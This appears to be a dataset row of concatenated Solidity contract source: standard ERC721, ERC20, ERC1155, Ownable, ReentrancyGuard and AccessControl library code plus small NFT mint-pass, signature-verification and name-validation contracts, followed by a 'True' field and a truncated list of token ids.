* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract VerifySignature {
using ECDSA for bytes32;
mapping(bytes32 => bool) private _claimedHashes;
function isHashClaimed(bytes32 _hash) public view returns (bool) {
return _claimedHashes[_hash];
}
function getEthSignedMessageHash(bytes32 _messageHash)
public
pure
returns (bytes32)
{
return _messageHash.toEthSignedMessageHash();
}
function _setMessageHashClaimed(
bytes32 _messageHash,
address _signer,
bytes memory _signature
) internal {
require(!isHashClaimed(_messageHash), "cannot claim again");
require(
verify(getEthSignedMessageHash(_messageHash), _signer, _signature),
"signature not verified"
);
_claimedHashes[_messageHash] = true;
}
function verify(
bytes32 _ethSignedMessageHash,
address _signer,
bytes memory _signature
) public pure returns (bool) {
return _ethSignedMessageHash.recover(_signature) == _signer;
}
}
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract ValidateString {
using SafeMath for uint256;
mapping(string => bool) private _nameReserved;
event NameChange(uint256 indexed maskIndex, string newName);
/**
* @dev Reserves the name if isReserve is set to true, de-reserves if set to false
*/
function _toggleReserveName(string memory str, bool isReserve) internal {
_nameReserved[toLower(str)] = isReserve;
}
/**
* @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space)
*/
function validateName(string memory str) public pure returns (bool) {
bytes memory b = bytes(str);
if (b.length < 1) return false;
if (b.length > 25) return false; // Cannot be longer than 25 characters
if (b[0] == 0x20) return false; // Leading space
if (b[b.length.sub(1)] == 0x20) return false; // Trailing space
bytes1 lastChar = b[0];
for (uint256 i = 0; i < b.length; i = i.add(1)) {
bytes1 char = b[i];
if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces
if (
!(char >= 0x30 && char <= 0x39) && //9-0
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) && //a-z
!(char == 0x20) //space
) return false;
lastChar = char;
}
return true;
}
function isNameReserved(string memory nameString)
public
view
returns (bool)
{
return _nameReserved[toLower(nameString)];
}
function toLower(string memory str) public pure returns (string memory) {
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint256 i = 0; i < bStr.length; i = i.add(1)) {
// Uppercase character
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
bLower[i] = bytes1(uint8(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
function isNotEmptyString(string memory str) internal pure returns (bool) {
bytes memory bStr = bytes(str);
return bStr.length > 0;
}
}
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
interface IMintPass is IERC1155 {
function totalMinted() external view returns (uint256);
function getOnMarketMintPassTokenId() external view returns (uint256);
function getOffMarketMintPassTokenId() external view returns (uint256);
function totalSupply(uint256 tokenId) external view returns (uint256);
function setUri(string memory _uri) external;
function uri(uint256 tokenId) external view returns (string memory);
function setMintPause(bool _pauseMintPass, bool _pauseBatchMintPass)
external;
function createMintPass(address recipient, uint256 quantity) external;
function onMarketRedeemPass(address blockbots, uint256 quantity)
external
payable;
function offMarketRedeemPass(
address blockbots,
address recipient,
uint256 quantity
) external;
function fetchBalanceOf(address owner) external view returns (uint256);
function withdraw() external payable;
function batchMintPass(
address[] memory _recipients,
uint256[] memory _quantities
) external;
function batchOffMarketRedeemPass(
address blockbots,
address[] memory _recipients,
uint256[] memory _quantities
) external;
}
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract ERC721Full is ERC721Enumerable, ERC721URIStorage {
/// @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
/// @param name is a non-empty string
/// @param symbol is a non-empty string
constructor(string memory name, string memory symbol)
ERC721(name, symbol)
{}
/// @dev Hook that is called before any token transfer. This includes minting and burning. `from`'s `tokenId` will be transferred to `to`
/// @param from is an non-zero address
/// @param to is an non-zero address
/// @param tokenId is an uint256 which determine token transferred from `from` to `to`
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721Enumerable, ERC721) {
ERC721Enumerable._beforeTokenTransfer(from, to, tokenId);
}
/// @notice Interface of the ERC165 standard
/// @param interfaceId is a byte4 which determine interface used
/// @return true if this contract implements the interface defined by `interfaceId`
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, ERC721)
returns (bool)
{
return
ERC721.supportsInterface(interfaceId) ||
ERC721Enumerable.supportsInterface(interfaceId);
}
/// @notice the Uniform Resource Identifier (URI) for `tokenId` token
/// @param tokenId is unit256
/// @return string of (URI) for `tokenId` token
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721URIStorage, ERC721)
returns (string memory)
{
return ERC721URIStorage.tokenURI(tokenId);
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
return ERC721URIStorage._burn(tokenId);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
3229,
8663,
13181,
2140,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
21183,
12146,
1013,
3647,
2121,
2278,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
3993,
2140,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
10047,
18447,
15194,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
9398,
8520,
18886,
3070,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
20410,
5332,
16989,
11244,
1012,
14017,
1000,
1025,
3206,
3796,
27014,
2003,
2219,
3085,
1010,
2128,
4765,
5521,
5666,
18405,
1010,
3229,
8663,
13181,
2140,
1010,
9413,
2278,
2581,
17465,
3993,
2140,
1010,
9398,
8520,
18886,
3070,
1010,
20410,
5332,
16989,
11244,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
3647,
2121,
2278,
11387,
2005,
29464,
11890,
11387,
1025,
27507,
16703,
2270,
5377,
12927,
1035,
3413,
1035,
3206,
1035,
2535,
1027,
17710,
16665,
2243,
17788,
2575,
1006,
1000,
12927,
1035,
3413,
1035,
3206,
